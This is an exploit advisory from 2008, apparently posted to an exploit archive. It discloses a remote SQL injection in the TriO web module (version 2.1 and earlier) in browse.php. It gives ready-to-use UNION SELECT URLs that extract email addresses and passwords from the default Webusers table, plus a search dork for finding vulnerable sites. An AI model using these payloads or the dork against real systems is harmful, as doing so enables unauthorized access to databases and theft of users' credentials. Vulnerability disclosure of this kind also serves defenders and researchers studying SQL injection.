:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ dun[at]strcpy.pl ] ############################################################## # [ TriO <= 2.1 ] Remote SQL Injection Vulnerability # ############################################################## # # [ Script: "TriO, iO's new web-based module, enables you to quickly, easily, and securely make your collections..." ] # # [ Script site: http://www.willo.com/io/trio.asp ] # # [ Default table_name with users: Webusers ] # # [ Vuln: browse.php ] # http://site.com/browse.php?id=-1+UNION+SELECT+EMAIL+from+Webusers-- # http://site.com/browse.php?id=-1+UNION+SELECT+SUPERSECRETPASSWORD+from+Webusers-- # # # [ Dork example: "This website is powered by Trio" ] # ##################################################### # Greetz: D3m0n_DE * Voo|doo * str0ke and otherz.. ##################################################### [ dun / 2008 ] *******************************************************************************************